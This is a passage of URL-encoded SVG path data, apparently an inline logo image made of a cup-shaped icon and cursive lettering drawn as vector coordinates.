45.4088C60.6136 45.2099 59.295 44.9649 57.9711 44.7502C56.3705 44.4867 54.8398 44.6185 53.3921 45.4088C52.2037 46.0591 51.2419 47.0564 50.6349 48.2674C50.0105 49.5584 49.8248 50.964 49.5455 52.3511C49.2662 53.7383 48.8315 55.2308 48.9962 56.6548C49.3505 59.7281 51.4991 62.2258 54.5895 62.7843C57.4968 63.3112 60.42 63.7381 63.351 64.1016C74.8648 65.5118 86.4968 65.6805 98.0466 64.6049C98.9872 64.517 99.9265 64.4213 100.864 64.3177C101.157 64.2855 101.454 64.3192 101.732 64.4165C102.01 64.5137 102.263 64.6719 102.472 64.8795C102.681 65.0872 102.842 65.339 102.941 65.6165C103.04 65.894 103.076 66.1902 103.046 66.4834L102.753 69.3261C102.164 75.0705 101.575 80.8145 100.986 86.558C100.371 92.5896 99.7521 98.6208 99.1295 104.651C98.9538 106.35 98.7782 108.048 98.6025 109.746C98.4339 111.417 98.4102 113.142 98.0927 114.794C97.5922 117.391 95.8335 118.987 93.2674 119.57C90.9164 120.105 88.5148 120.386 86.1038 120.408C83.431 120.422 80.7594 120.304 78.0866 120.318C75.2333 120.334 71.7384 120.071 69.5358 117.947C67.6007 116.082 67.3333 113.161 67.0698 110.636C66.7185 107.293 66.3703 103.95 66.0252 100.607L64.0887 82.0212L62.8359 69.9953C62.8149 69.7964 62.7938 69.6001 62.774 69.3999C62.6239 67.9654 61.6082 66.5611 60.0077 66.6335C58.6376 66.6941 57.0806 67.8586 57.2413 69.3999L58.17 78.3155L60.0906 96.7581C60.6378 101.997 61.1836 107.236 61.7281 112.476C61.8335 113.48 61.9323 114.487 62.0429 115.49C62.6449 120.976 66.834 123.932 72.0216 124.764C75.0515 125.252 78.1551 125.352 81.2297 125.402C85.1711 125.465 89.1521 125.617 93.029 124.903C98.7738 123.849 103.084 120.013 103.699 114.062C103.875 112.345 104.051 110.626 104.226 108.908C104.81 103.224 105.393 97.5397 105.976 91.855L107.88 73.2807L108.754 64.7682C108.797 64.3461 108.976 63.9492 109.262 63.6363C109.549 63.3234 109.929 63.111 110.345 63.0307C111.988 62.7105 113.558 62.1639 114.727 60.9137C116.587 58.9232 116.957 56.3281 116.299 53.7119ZM54.5052 55.5483C54.5302 55.5364 54.4841 55.7511 54.4644 55.8513C54.4604 55.6998 54.4683 55.5654 54.5052 55.5483ZM54.6646 56.7813C54.6778 56.7721 54.7173 56.8248 54.7581 56.888C54.6962 56.83 54.6567 56.7866 54.6633 56.7813H54.6646ZM54.8214 56.9881C54.878 57.0843 54.9083 57.1449 54.8214 56.9881V56.9881ZM55.1362 57.2437H55.1441C55.1441 57.2529 55.1586 57.2621 55.1639 57.2713C55.1551 57.2612 55.1454 57.2519 55.1349 57.2437H55.1362ZM110.269 56.8616C109.679 57.4228 108.789 57.6837 107.911 57.8141C98.0572 59.2763 88.06 60.0166 78.0984 59.6899C70.9691 59.4462 63.9148 58.6545 56.8566 57.6573C56.165 57.5598 55.4155 57.4334 54.9399 56.9236C54.0441 55.9619 54.4841 54.0254 54.7173 52.8636C54.9307 51.7992 55.3391 50.3804 56.605 50.2289C58.581 49.9971 60.8758 50.8309 62.8307 51.1273C65.1843 51.4865 67.5467 51.7741 69.9179 51.9902C80.0375 52.9123 90.3271 52.7687 100.402 51.4198C102.238 51.173 104.068 50.8863 105.891 50.5596C107.516 50.2684 109.316 49.7218 110.298 51.404C110.971 52.55 111.06 54.0834 110.956 55.3783C110.924 55.9425 110.678 56.4732 110.267 56.8616H110.269Z' fill='%230D0C22'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M170.036 84.2397C169.461 85.3378 168.67 86.2942 167.663 87.1057C166.656 87.9178 165.482 88.579 164.139 89.0881C162.797 89.5984 161.446 89.9408 160.088 90.1153C158.729 90.2905 157.41 90.2753 156.133 90.0674C154.854 89.8608 153.766 89.439 152.872 88.8014L153.88 78.3397C154.806 78.0216 155.972 77.6949 157.379 77.3604C158.785 77.0264 160.231 76.787 161.718 76.644C163.205 76.5004 164.61 76.5173 165.937 76.6919C167.263 76.867 168.31 77.2888 169.077 77.9579C169.493 78.3397 169.845 78.7537 170.132 79.1997C170.42 79.6458 170.595 80.1076 170.66 80.5852C170.819 81.9227 170.612 83.1409 170.036 84.2397ZM155.413 61.9545C156.084 61.5406 156.892 61.1739 157.834 60.8551C158.777 60.5376 159.744 60.3139 160.735 60.1867C161.725 60.06 162.692 60.043 163.636 60.1388C164.578 60.2345 165.41 60.497 166.129 60.9267C166.848 61.357 167.383 61.9782 167.735 62.7897C168.086 63.6024 168.182 64.6296 168.022 65.8714C167.895 66.8587 167.502 67.695 166.848 68.3793C166.193 69.0647 165.393 69.6374 164.451 70.0993C163.508 70.5617 162.509 70.9277 161.455 71.1974C160.399 71.4689 159.384 71.6683 158.41 71.795C157.435 71.9229 156.588 72.0029 155.869 72.0338C155.15 72.0659 154.678 72.0816 154.454 72.0816L155.413 61.9545ZM175.214 77.4798C174.703 76.3658 174.016 75.3864 173.153 74.5416C172.29 73.698 171.266 73.0853 170.084 72.7029C170.595 72.2889 171.099 71.6362 171.595 70.7441C172.09 69.8532 172.513 68.8811 172.865 67.8302C173.216 66.7787 173.457 65.7205 173.584 64.6533C173.711 63.5866 173.663 62.6709 173.441 61.906C172.896 59.9958 172.042 58.4988 170.875 57.4158C169.708 56.3334 168.35 55.5849 166.8 55.1704C165.249 54.7577 163.54 54.6692 161.67 54.908C159.8 55.1467 157.89 55.6164 155.941 56.317C155.941 56.1582 155.957 55.991 155.989 55.8158C156.02 55.6413 156.036 55.4576 156.036 55.2661C156.036 54.7886 155.797 54.3752 155.317 54.0243C154.838 53.674 154.287 53.4674 153.664 53.4031C153.04 53.3401 152.433 53.4746 151.841 53.8092C151.25 54.1437 150.842 54.7577 150.619 55.6479C150.363 58.5146 150.107 61.4927 149.852 64.5812C149.596 67.6708 149.324 70.792 149.037 73.9453C148.749 77.0979 148.461 80.227 148.174 83.3318C147.886 86.4372 147.598 89.4226 147.311 92.2886C147.407 93.1486 147.646 93.8177 148.03 94.2953C148.413 94.7734 148.861 95.0601 149.372 95.1553C149.883 95.251 150.419 95.1625 150.978 94.8922C151.537 94.6225 152.025 94.1516 152.441 93.4832C153.719 94.1838 155.158 94.6377 156.756 94.845C158.354 95.0516 159.975 95.0516 161.623 94.845C163.268 94.6377 164.89 94.248 166.488 93.6741C168.086 93.1013 169.541 92.3844 170.851 91.525C172.162 90.665 173.264 89.685 174.16 88.5869C175.054 87.4875 175.646 86.3014 175.933 85.0281C176.221 83.7221 176.301 82.4167 176.173 81.1106C176.045 79.8052 175.725 78.5955 175.214 77.4798Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M221.989 102.702C221.814 103.753 221.565 104.86 221.246 106.023C220.926 107.184 220.551 108.244 220.12 109.2C219.688 110.155 219.209 110.926 218.682 111.516C218.154 112.105 217.586 112.352 216.979 112.257C216.5 112.192 216.196 111.89 216.069 111.349C215.94 110.807 215.94 110.138 216.069 109.343C216.196 108.546 216.443 107.646 216.811 106.643C217.179 105.64 217.627 104.644 218.154 103.658C218.682 102.67 219.281 101.723 219.952 100.815C220.623 99.9082 221.326 99.1512 222.061 98.5464C222.221 98.7373 222.293 99.2149 222.277 99.9797C222.26 100.744 222.165 101.652 221.989 102.702ZM238.243 81.9697C237.811 81.4921 237.284 81.2218 236.66 81.1576C236.037 81.0939 235.405 81.4442 234.767 82.2085C234.351 82.9727 233.823 83.7054 233.184 84.406C232.545 85.1072 231.882 85.7436 231.195 86.3169C230.507 86.8896 229.852 87.3841 229.229 87.7975C228.606 88.212 228.118 88.5144 227.767 88.7053C227.639 87.6866 227.566 86.5878 227.551 85.409C227.534 84.2308 227.559 83.0369 227.623 81.8266C227.718 80.1067 227.918 78.3715 228.222 76.6194C228.526 74.868 228.965 73.148 229.541 71.4595C229.541 70.5686 229.332 69.8438 228.917 69.2862C228.501 68.7293 227.998 68.3784 227.407 68.2353C226.815 68.0923 226.209 68.1717 225.585 68.4741C224.962 68.7771 224.427 69.3268 223.979 70.122C223.596 71.1735 223.156 72.3516 222.661 73.6571C222.165 74.9631 221.606 76.2928 220.983 77.6461C220.359 79.0006 219.664 80.3139 218.897 81.5873C218.13 82.8618 217.291 83.9927 216.38 84.9793C215.469 85.9666 214.478 86.7393 213.408 87.2963C212.336 87.8538 211.179 88.1005 209.932 88.0369C209.356 87.8775 208.94 87.4478 208.685 86.7466C208.429 86.0466 208.277 85.1702 208.23 84.1193C208.182 83.0684 208.23 81.9139 208.373 80.6557C208.517 79.3982 208.709 78.1479 208.949 76.9061C209.188 75.6637 209.452 74.4855 209.739 73.371C210.027 72.2565 210.298 71.3165 210.554 70.5523C210.938 69.6292 210.938 68.8559 210.554 68.2353C210.171 67.6141 209.644 67.2008 208.973 66.9929C208.302 66.7863 207.598 66.7947 206.863 67.0172C206.128 67.2402 205.6 67.7335 205.281 68.4977C204.737 69.8044 204.241 71.2686 203.794 72.8928C203.347 74.5171 202.987 76.1976 202.716 77.9328C202.444 79.6691 202.291 81.3891 202.26 83.0927C202.258 83.2036 202.263 83.309 202.263 83.4193C201.566 85.2708 200.902 86.6702 200.271 87.6066C199.456 88.8174 198.536 89.3429 197.514 89.1829C197.065 88.992 196.771 88.5465 196.627 87.8453C196.482 87.1453 196.435 86.2854 196.482 85.2654C196.531 84.2472 196.651 83.0927 196.842 81.8024C197.035 80.5127 197.273 79.1752 197.561 77.7897C197.849 76.4037 198.153 75.0116 198.472 73.6098C198.792 72.2086 199.079 70.8868 199.336 69.6444C199.304 68.5299 198.976 67.6784 198.352 67.0887C197.73 66.5002 196.858 66.2693 195.74 66.396C194.973 66.7147 194.405 67.1293 194.038 67.6384C193.67 68.1474 193.374 68.8008 193.151 69.5965C193.022 70.0111 192.831 70.8389 192.575 72.0813C192.319 73.3225 191.992 74.7486 191.592 76.3564C191.193 77.9655 190.721 79.6449 190.178 81.3963C189.635 83.1478 189.027 84.7333 188.357 86.1496C187.685 87.5666 186.95 88.7053 186.151 89.5653C185.352 90.4247 184.489 90.7756 183.562 90.6162C183.05 90.5205 182.723 89.995 182.579 89.0399C182.435 88.0841 182.412 86.9066 182.507 85.5048C182.603 84.1036 182.795 82.5666 183.082 80.8951C183.37 79.223 183.665 77.6388 183.969 76.1413C184.273 74.6449 184.553 73.3225 184.809 72.1765C185.064 71.0298 185.24 70.2656 185.336 69.8838C185.336 68.9602 185.127 68.2202 184.713 67.662C184.297 67.1056 183.794 66.7547 183.202 66.6111C182.61 66.4681 182.003 66.5475 181.381 66.8499C180.757 67.1529 180.222 67.7026 179.774 68.4977C179.614 69.3577 179.406 70.3535 179.151 71.4838C178.895 72.614 178.648 73.7765 178.408 74.971C178.168 76.1655 177.944 77.3358 177.737 78.4824C177.529 79.6291 177.377 80.6321 177.281 81.4921C177.217 82.1606 177.145 82.9812 177.066 83.9521C176.985 84.9242 176.945 85.9508 176.945 87.0332C176.945 88.1169 177.025 89.1914 177.186 90.258C177.345 91.3253 177.633 92.3047 178.048 93.1956C178.463 94.0877 179.047 94.8198 179.799 95.3931C180.549 95.9664 181.5 96.2846 182.651 96.3489C183.833 96.4119 184.864 96.3252 185.744 96.0858C186.622 95.847 187.421 95.4725 188.141 94.9628C188.86 94.4543 189.515 93.8489 190.107 93.1477C190.697 92.4477 191.281 91.6835 191.856 90.855C192.4 92.0659 193.103 93.0047 193.966 93.6737C194.829 94.3422 195.74 94.741 196.699 94.8677C197.657 94.9943 198.633 94.8604 199.624 94.4616C200.614 94.064 201.509 93.3871 202.308 92.4313C202.835 91.8453 203.331 91.1792 203.797 90.4429C203.995 90.7877 204.205 91.1204 204.442 91.4277C205.225 92.4477 206.288 93.1477 207.631 93.5301C209.069 93.9125 210.474 93.9768 211.849 93.7216C213.223 93.4671 214.534 93.0047 215.78 92.3362C217.027 91.6671 218.185 90.8635 219.257 89.9235C220.327 88.9841 221.262 88.0053 222.061 86.9854C222.029 87.7181 222.013 88.4114 222.013 89.0635C222.013 89.7168 221.997 90.4247 221.966 91.1895C220.367 92.3047 218.857 93.6422 217.435 95.2022C216.012 96.7622 214.765 98.4264 213.695 100.194C212.624 101.961 211.785 103.753 211.179 105.568C210.571 107.384 210.275 109.08 210.291 110.657C210.307 112.233 210.682 113.61 211.418 114.788C212.152 115.967 213.351 116.81 215.013 117.32C216.74 117.862 218.257 117.877 219.569 117.368C220.879 116.858 222.021 116.014 222.996 114.836C223.971 113.658 224.77 112.233 225.394 110.561C226.017 108.889 226.512 107.145 226.88 105.33C227.247 103.515 227.479 101.73 227.575 99.9797C227.671 98.2276 227.671 96.6664 227.575 95.2974C230.324 94.1513 232.577 92.7022 234.335 90.9501C236.093 89.1999 237.547 87.352 238.698 85.409C239.049 84.9314 239.169 84.3581 239.058 83.6896C238.945 83.0206 238.674 82.4472 238.243 81.9697Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M298.724 78.9135C298.82 78.1814 298.964 77.4087 299.155 76.5966C299.347 75.7845 299.587 74.996 299.875 74.2318C300.162 73.4676 300.498 72.807 300.882 72.2494C301.265 71.6924 301.673 71.2943 302.104 71.0549C302.536 70.8167 302.974 70.8403 303.423 71.1264C303.902 71.4137 304.197 72.0185 304.31 72.9415C304.421 73.8663 304.31 74.853 303.974 75.9039C303.638 76.9554 303.039 77.942 302.176 78.8657C301.313 79.7899 300.146 80.3941 298.676 80.6808C298.612 80.236 298.628 79.6463 298.724 78.9135ZM315.336 80.8717C314.809 80.7135 314.306 80.6972 313.826 80.8244C313.347 80.9517 313.043 81.2862 312.916 81.8281C312.659 82.8468 312.251 83.8898 311.692 84.9565C311.133 86.0238 310.446 87.0346 309.632 87.9904C308.817 88.9455 307.897 89.7898 306.875 90.5219C305.851 91.2546 304.781 91.78 303.662 92.0982C302.543 92.4491 301.616 92.4885 300.882 92.2176C300.146 91.9479 299.563 91.4855 299.132 90.8328C298.7 90.1801 298.388 89.3916 298.197 88.468C298.005 87.5443 297.893 86.5892 297.861 85.6013C299.683 85.7292 301.305 85.4032 302.728 84.622C304.149 83.8426 305.356 82.8068 306.347 81.5171C307.337 80.2275 308.089 78.7784 308.6 77.1699C309.111 75.5621 309.399 73.9615 309.463 72.3688C309.495 70.8718 309.272 69.6064 308.792 68.5713C308.313 67.5367 307.665 66.7313 306.85 66.1586C306.036 65.5853 305.1 65.2507 304.046 65.1556C302.992 65.0598 301.92 65.2034 300.833 65.5853C299.522 66.0313 298.412 66.7555 297.501 67.7592C296.59 68.7622 295.831 69.9252 295.224 71.2464C294.617 72.5682 294.137 73.993 293.786 75.5215C293.434 77.0505 293.178 78.5554 293.019 80.0366C292.875 81.3656 292.798 82.6365 292.771 83.8632C292.702 84.0189 292.636 84.1686 292.563 84.3353C292.067 85.4668 291.491 86.5734 290.837 87.6558C290.182 88.7389 289.454 89.6467 288.656 90.3788C287.857 91.1116 287.026 91.3661 286.163 91.1431C285.651 91.0164 285.372 90.4261 285.324 89.3758C285.276 88.3243 285.331 87.0189 285.491 85.4583C285.651 83.8983 285.835 82.2093 286.043 80.3941C286.25 78.579 286.354 76.8439 286.354 75.1875C286.354 73.7542 286.082 72.3773 285.539 71.0549C284.995 69.7343 284.252 68.6349 283.31 67.7592C282.367 66.8828 281.272 66.3016 280.026 66.0156C278.779 65.7283 277.437 65.9198 275.999 66.5883C274.56 67.2574 273.417 68.1967 272.571 69.407C271.723 70.6179 270.948 71.8912 270.245 73.2288C269.989 72.2094 269.614 71.2628 269.118 70.3864C268.623 69.5107 268.016 68.7464 267.297 68.0931C266.577 67.441 265.769 66.9313 264.876 66.5646C263.981 66.1992 263.037 66.0156 262.046 66.0156C261.088 66.0156 260.201 66.1992 259.386 66.5646C258.571 66.9313 257.828 67.4004 257.156 67.9737C256.485 68.5476 255.878 69.1919 255.334 69.9088C254.791 70.6252 254.311 71.3343 253.896 72.0343C253.831 71.2064 253.76 70.4822 253.681 69.8603C253.6 69.2398 253.456 68.7143 253.249 68.2846C253.041 67.8543 252.746 67.5283 252.362 67.3052C251.978 67.0828 251.435 66.9707 250.732 66.9707C250.38 66.9707 250.028 67.0422 249.677 67.1852C249.325 67.3289 249.013 67.5283 248.742 67.7828C248.47 68.0386 248.263 68.3482 248.119 68.7143C247.975 69.0804 247.936 69.5028 247.999 69.9803C248.031 70.3312 248.119 70.7525 248.263 71.2464C248.406 71.7403 248.542 72.3858 248.67 73.1809C248.798 73.9773 248.902 74.9409 248.982 76.0712C249.062 77.2021 249.085 78.5875 249.054 80.2275C249.021 81.8681 248.902 83.7862 248.694 85.9837C248.486 88.1813 248.158 90.7291 247.711 93.6267C247.647 94.2957 247.903 94.8376 248.479 95.2515C249.054 95.6648 249.709 95.9036 250.444 95.9678C251.179 96.0315 251.875 95.9036 252.53 95.586C253.185 95.2666 253.561 94.7097 253.656 93.9139C253.752 92.417 253.936 90.8249 254.208 89.1364C254.479 87.4492 254.815 85.7771 255.215 84.1207C255.614 82.465 256.069 80.8887 256.581 79.3911C257.092 77.8942 257.66 76.573 258.283 75.4263C258.907 74.2797 259.554 73.3645 260.225 72.6797C260.896 71.9949 261.599 71.6524 262.335 71.6524C263.229 71.6524 263.924 72.0579 264.42 72.87C264.915 73.6827 265.266 74.7263 265.475 75.999C265.682 77.2736 265.778 78.6675 265.763 80.1796C265.746 81.6923 265.682 83.1492 265.571 84.5504C265.459 85.9522 265.331 87.2019 265.187 88.3007C265.043 89.3995 264.939 90.1564 264.876 90.5697C264.876 91.3025 265.155 91.8831 265.714 92.3134C266.273 92.743 266.896 92.9982 267.584 93.0776C268.272 93.1576 268.918 93.0297 269.526 92.6952C270.133 92.3606 270.485 91.7964 270.581 90.9994C270.9 88.7067 271.34 86.4062 271.899 84.0971C272.458 81.7881 273.098 79.7184 273.817 77.8869C274.536 76.0554 275.335 74.5585 276.214 73.3961C277.093 72.2343 278.028 71.6524 279.019 71.6524C279.53 71.6524 279.922 72.0033 280.193 72.7033C280.465 73.4039 280.601 74.3591 280.601 75.5694C280.601 76.4615 280.529 77.3772 280.386 78.3166C280.241 79.256 280.074 80.2275 279.882 81.2305C279.69 82.2341 279.522 83.2608 279.378 84.3117C279.235 85.3632 279.163 86.4613 279.163 87.608C279.163 88.4043 279.243 89.3279 279.403 90.3788C279.562 91.4291 279.865 92.4255 280.313 93.3642C280.761 94.3042 281.376 95.1 282.16 95.7527C282.943 96.4054 283.941 96.7321 285.155 96.7321C286.978 96.7321 288.591 96.3418 289.998 95.5618C291.404 94.7818 292.611 93.763 293.618 92.5049C293.67 92.4388 293.718 92.3685 293.769 92.3031C293.846 92.4891 293.914 92.6861 294.001 92.863C294.688 94.2642 295.623 95.3466 296.806 96.1115C297.988 96.8757 299.379 97.2975 300.978 97.3775C302.575 97.4563 304.317 97.1618 306.204 96.4933C307.609 95.9836 308.832 95.3466 309.871 94.5824C310.909 93.8182 311.844 92.8867 312.675 91.7879C313.507 90.6891 314.265 89.4231 314.953 87.9904C315.641 86.5565 316.335 84.9171 317.038 83.0692C317.166 82.5608 317.046 82.1068 316.679 81.7081C316.311 81.3105 315.864 81.0317 315.336 80.8717Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M341.393 75.5432C341.233 76.4832 341.018 77.5189 340.746 78.6486C340.474 79.7795 340.131 80.9498 339.715 82.1601C339.3 83.3703 338.788 84.4612 338.181 85.4321C337.574 86.4042 336.878 87.1757 336.096 87.7491C335.312 88.3224 334.41 88.5612 333.387 88.4654C332.875 88.4024 332.483 88.0521 332.212 87.4145C331.94 86.7782 331.797 85.9655 331.78 84.9782C331.764 83.9915 331.852 82.9085 332.044 81.7298C332.236 80.5522 332.531 79.3971 332.932 78.2662C333.331 77.1365 333.818 76.0929 334.393 75.1371C334.969 74.182 335.632 73.4414 336.383 72.916C337.134 72.3905 337.958 72.1445 338.852 72.1754C339.747 72.2075 340.706 72.6529 341.729 73.5129C341.664 73.9275 341.553 74.6044 341.393 75.5432ZM358.437 79.1977C357.941 78.9431 357.43 78.888 356.903 79.031C356.376 79.174 356 79.6601 355.777 80.488C355.649 81.3801 355.361 82.4304 354.914 83.6406C354.466 84.8509 353.914 85.9982 353.26 87.08C352.604 88.163 351.853 89.063 351.006 89.7793C350.159 90.4963 349.256 90.823 348.298 90.7581C347.498 90.6951 346.938 90.289 346.62 89.5406C346.299 88.7921 346.132 87.8533 346.116 86.7218C346.099 85.5921 346.212 84.3182 346.451 82.9007C346.691 81.4837 346.979 80.0746 347.314 78.6722C347.65 77.2716 347.994 75.9256 348.346 74.6359C348.697 73.3463 348.984 72.2554 349.209 71.3639C349.464 70.5675 349.384 69.8912 348.969 69.333C348.553 68.7766 348.034 68.3778 347.411 68.1391C346.787 67.9003 346.155 67.8366 345.516 67.9481C344.877 68.0597 344.462 68.4021 344.27 68.9748C342.384 67.3506 340.57 66.4748 338.829 66.3476C337.086 66.2203 335.48 66.6027 334.01 67.4942C332.539 68.3857 331.237 69.6754 330.103 71.3639C328.968 73.0523 328.049 74.8911 327.345 76.8814C326.642 78.8716 326.203 80.9025 326.027 82.9722C325.851 85.0424 325.987 86.9297 326.435 88.6333C326.883 90.3369 327.673 91.7308 328.808 92.8126C329.942 93.8956 331.485 94.4375 333.435 94.4375C334.298 94.4375 335.129 94.2623 335.928 93.912C336.726 93.5611 337.462 93.1472 338.133 92.6696C338.804 92.192 339.395 91.6902 339.908 91.1648C340.418 90.6393 340.818 90.2018 341.106 89.8509C341.329 90.9975 341.697 91.9696 342.209 92.7654C342.719 93.5611 343.303 94.215 343.958 94.7235C344.613 95.2326 345.301 95.6071 346.02 95.8465C346.739 96.0853 347.435 96.2047 348.105 96.2047C349.608 96.2047 351.013 95.695 352.325 94.6756C353.635 93.6575 354.81 92.4066 355.849 90.926C356.887 89.4448 357.743 87.8848 358.413 86.2442C359.085 84.6043 359.532 83.1473 359.756 81.8728C359.98 81.3952 359.939 80.894 359.636 80.3686C359.332 79.8431 358.933 79.4534 358.437 79.1977Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M444.738 105.571C444.467 106.653 444.043 107.57 443.467 108.318C442.892 109.066 442.173 109.456 441.31 109.489C440.767 109.52 440.351 109.233 440.063 108.629C439.776 108.023 439.576 107.243 439.464 106.288C439.352 105.332 439.304 104.265 439.32 103.087C439.336 101.909 439.384 100.746 439.464 99.5996C439.543 98.4536 439.64 97.3857 439.752 96.3991C439.863 95.4112 439.951 94.6482 440.015 94.1064C441.102 94.2336 442.006 94.7027 442.724 95.5154C443.443 96.3275 443.995 97.2906 444.378 98.4057C444.762 99.5202 444.985 100.723 445.05 102.012C445.113 103.302 445.009 104.488 444.738 105.571ZM427.382 105.571C427.111 106.653 426.687 107.57 426.112 108.318C425.537 109.066 424.817 109.456 423.954 109.489C423.411 109.52 422.996 109.233 422.708 108.629C422.42 108.023 422.22 107.243 422.109 106.288C421.996 105.332 421.948 104.265 421.965 103.087C421.98 101.909 422.028 100.746 422.109 99.5996C422.188 98.4536 422.284 97.3857 422.396 96.3991C422.508 95.4112 422.595 94.6482 422.66 94.1064C423.746 94.2336 424.65 94.7027 425.368 95.5154C426.088 96.3275 426.639 97.2906 427.023 98.4057C427.407 99.5202 427.63 100.723 427.694 102.012C427.757 103.302 427.653 104.488 427.382 105.571ZM409.572 78.4375C409.539 79.2011 409.467 79.8781 409.355 80.4672C409.243 81.0575 409.092 81.4308 408.9 81.5902C408.548 81.3987 408.116 80.906 407.605 80.109C407.094 79.3133 406.695 78.4127 406.406 77.4096C406.119 76.4066 406.03 75.42 406.143 74.4479C406.254 73.477 406.758 72.7212 407.653 72.1788C408.004 71.9879 408.308 72.0594 408.564 72.394C408.82 72.7285 409.027 73.2139 409.188 73.8509C409.347 74.4885 409.458 75.2206 409.523 76.0485C409.587 76.8769 409.603 77.6727 409.572 78.4375ZM405.328 87.9677C404.832 88.4925 404.28 88.9464 403.674 89.3289C403.066 89.7113 402.443 89.9979 401.804 90.1889C401.164 90.3804 400.589 90.4276 400.078 90.3319C398.64 90.0458 397.537 89.424 396.77 88.4689C396.003 87.5137 395.515 86.3913 395.308 85.1017C395.1 83.8114 395.123 82.4338 395.38 80.969C395.635 79.5042 396.066 78.143 396.674 76.8848C397.281 75.6266 398.017 74.5436 398.879 73.6364C399.742 72.7285 400.685 72.1637 401.708 71.94C401.324 73.5642 401.197 75.2448 401.324 76.98C401.452 78.7157 401.868 80.3478 402.571 81.8762C403.018 82.8011 403.554 83.6441 404.177 84.4083C404.801 85.1732 405.56 85.8259 406.455 86.3671C406.199 86.9089 405.823 87.4422 405.328 87.9677ZM458.378 78.9151C458.474 78.183 458.617 77.4096 458.81 76.5975C459.001 75.786 459.241 74.9976 459.528 74.2333C459.816 73.4685 460.152 72.8079 460.536 72.2509C460.92 71.694 461.326 71.2952 461.758 71.0564C462.19 70.8176 462.629 70.8413 463.076 71.1279C463.556 71.4152 463.851 72.02 463.963 72.943C464.075 73.8673 463.963 74.8539 463.628 75.9054C463.292 76.9563 462.693 77.9436 461.83 78.8666C460.968 79.7914 459.8 80.3957 458.33 80.6823C458.266 80.2369 458.282 79.6478 458.378 78.9151ZM477.7 78.9151C477.796 78.183 477.939 77.4096 478.131 76.5975C478.323 75.786 478.563 74.9976 478.851 74.2333C479.138 73.4685 479.473 72.8079 479.857 72.2509C480.241 71.694 480.649 71.2952 481.08 71.0564C481.512 70.8176 481.951 70.8413 482.398 71.1279C482.878 71.4152 483.173 72.02 483.285 72.943C483.397 73.8673 483.285 74.8539 482.95 75.9054C482.614 76.9563 482.015 77.9436 481.152 78.8666C480.289 79.7914 479.122 80.3957 477.652 80.6823C477.588 80.2369 477.604 79.6478 477.7 78.9151ZM495.655 81.7096C495.287 81.312 494.84 81.0332 494.313 80.8732C493.785 80.7144 493.282 80.6987 492.802 80.826C492.323 80.9532 492.018 81.2878 491.891 81.829C491.635 82.8484 491.228 83.8914 490.669 84.9574C490.109 86.0253 489.422 87.0362 488.607 87.9913C487.792 88.9464 486.873 89.7913 485.851 90.5234C484.827 91.2561 483.757 91.7816 482.639 92.0991C481.519 92.4506 480.592 92.49 479.857 92.2191C479.122 91.9488 478.539 91.487 478.107 90.8343C477.676 90.181 477.365 89.3931 477.172 88.4689C476.981 87.5459 476.868 86.5907 476.837 85.6029C478.659 85.7307 480.281 85.4047 481.703 84.6235C483.125 83.8435 484.332 82.8077 485.324 81.5181C486.314 80.229 487.065 78.7799 487.576 77.1715C488.087 75.563 488.375 73.963 488.44 72.3703C488.471 70.8734 488.247 69.6073 487.768 68.5722C487.289 67.5377 486.642 66.7328 485.827 66.1601C485.011 65.5862 484.077 65.2522 483.021 65.1565C481.967 65.0607 480.896 65.205 479.809 65.5862C478.498 66.0328 477.388 66.7571 476.478 67.7601C475.567 68.7637 474.807 69.9267 474.2 71.2473C473.592 72.5697 473.113 73.9939 472.761 75.523C472.409 77.0515 472.154 78.5569 471.995 80.0375C471.839 81.4744 471.755 82.8496 471.736 84.1659C471.615 84.4283 471.486 84.692 471.347 84.9574C470.787 86.0253 470.1 87.0362 469.285 87.9913C468.471 88.9464 467.551 89.7913 466.529 90.5234C465.506 91.2561 464.435 91.7816 463.317 92.0991C462.197 92.4506 461.271 92.49 460.536 92.2191C459.8 91.9488 459.217 91.487 458.786 90.8343C458.355 90.181 458.043 89.3931 457.851 88.4689C457.659 87.5459 457.547 86.5907 457.515 85.6029C459.337 85.7307 460.959 85.4047 462.382 84.6235C463.803 83.8435 465.01 82.8077 466.001 81.5181C466.992 80.229 467.743 78.7799 468.254 77.1715C468.765 75.563 469.054 73.963 469.117 72.3703C469.149 70.8734 468.926 69.6073 468.447 68.5722C467.967 67.5377 467.319 66.7328 466.504 66.1601C465.689 65.5862 464.755 65.2522 463.7 65.1565C462.645 65.0607 461.574 65.205 460.488 65.5862C459.176 66.0328 458.066 66.7571 457.156 67.7601C456.245 68.7637 455.485 69.9267 454.878 71.2473C454.271 72.5697 453.792 73.9939 453.44 75.523C453.088 77.0515 452.832 78.5569 452.673 80.0375C452.582 80.8726 452.522 81.6823 452.477 82.4774C452.168 82.7393 451.867 83.0029 451.546 83.2617C450.444 84.1538 449.284 84.9574 448.07 85.6744C446.855 86.3913 445.592 86.9804 444.283 87.4422C442.971 87.904 441.629 88.1828 440.255 88.278L443.228 56.5578C443.42 55.8887 443.324 55.3003 442.94 54.7906C442.557 54.2809 442.061 53.9306 441.454 53.7397C440.847 53.5482 440.199 53.5645 439.512 53.787C438.824 54.0106 438.258 54.5203 437.81 55.3154C437.586 56.5263 437.354 58.182 437.115 60.2838C436.875 62.3856 436.635 64.6789 436.396 67.1631C436.156 69.6473 435.916 72.2109 435.677 74.8539C435.437 77.4981 435.229 79.966 435.053 82.2587C435.045 82.3605 435.039 82.4526 435.031 82.5532C434.751 82.7896 434.48 83.0277 434.19 83.2617C433.088 84.1538 431.928 84.9574 430.714 85.6744C429.499 86.3913 428.237 86.9804 426.927 87.4422C425.616 87.904 424.273 88.1828 422.899 88.278L425.872 56.5578C426.064 55.8887 425.968 55.3003 425.585 54.7906C425.201 54.2809 424.705 53.9306 424.098 53.7397C423.491 53.5482 422.843 53.5645 422.156 53.787C421.469 54.0106 420.902 54.5203 420.454 55.3154C420.23 56.5263 419.999 58.182 419.76 60.2838C419.519 62.3856 419.28 64.6789 419.04 67.1631C418.8 69.6473 418.561 72.2109 418.321 74.8539C418.082 77.4981 417.873 79.966 417.698 82.2587C417.694 82.3047 417.691 82.3465 417.687 82.3926C417.185 82.6247 416.638 82.8284 416.043 82.9993C415.436 83.175 414.749 83.2786 413.982 83.3102C414.11 82.7362 414.213 82.0993 414.293 